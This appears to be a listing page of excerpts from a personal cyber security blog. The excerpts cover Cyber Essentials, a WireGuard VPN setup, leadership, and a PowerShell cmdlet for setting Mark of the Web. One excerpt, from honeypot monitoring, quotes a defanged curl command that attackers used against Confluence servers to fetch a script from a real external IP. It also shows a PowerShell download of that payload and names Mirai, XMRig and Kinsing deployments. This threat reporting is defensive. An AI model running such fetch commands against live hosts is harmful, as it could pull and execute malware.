If you want to keep up with the world of cyber security the fastest place is twitter, however that’s not the only place and whilst tweetdeck and twitter itself are incredible useful, you also are going to want to check out other areas. Inspired by a friend’s tool I thought I’d just knock up a list of sites that have useful cyber security information on:

Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:
HTTP Command Executes this:
curl http[:]//202.28.229.174/ap[.]sh?confcurlThis download the following (ap.sh)
$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing
$stealz.Content | Out-File ap.txt

We are seeing active exploitation in the wild: MIRAI deployment, coinminer deployments etc.
THIS DOES SHOW IN THE ACCESS LOGS! The comment about “what isn’t in the logs” is about POST request BODY not showing in them, not that nothing is logged
XMRIG, KINSING, MIRAI etc. are being deployed by threat actors after exploiting this vulnerability.

So, you have a driver to achieve cyber essentials, great stuff. Now if you are a business of reasonable size and scale this activity requires a bit of planning, context and lots of access and data. This could be via a distributed team or via a dedicated project team. In this post I’m going to look at what you may need to conduct the planning, discovery, assessment, and certification for Cyber Essentials and/or CE+.

Ok, another post on cyber essentials! I talk about this quite a lot (mainly driven by procurement requirements rather than orgs expressing a deep desire to “have better security” (which is a shame)) however, I want to show people what the real world is like and that meeting cyber essentials is a good thing, but also to look at real world challenges of meeting the standards. In this post we look at some thought provoking questions, then we look at an out of the box Windows and MAC device to see if they meet the standard!

A quick post becuase this is useful for security control testing:
If you want to enable MOTW (mark of the web) on a file you can run the following PowerShell cmdlet:
Set-Content -Path '.\safe3.rtf' -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'This will set the alterate data stream (ADS) Zone.Identifier value to ZoneID=3 (Internet Zone)
You can unblock this with

So as always there are a million things in tech and well it’s rare that someone knows EVERYTHING. I must connect to a Wireguard VPN from a KALI VM. Should be simple, well actually it was a bit more complicated as I had two errors along the way!
Leadership
Ok so you might be sitting here going… but Dan you send pews and do “techy” stuff… do you not lead? Well, I mean I do all kinds of things, I write business cases, I play with spreadsheets (fun right!), I integrate systems and look at data and sometimes write really bad code! (hey, the pews aren’t going to send themselves!) but… I want to talk about some realities here.
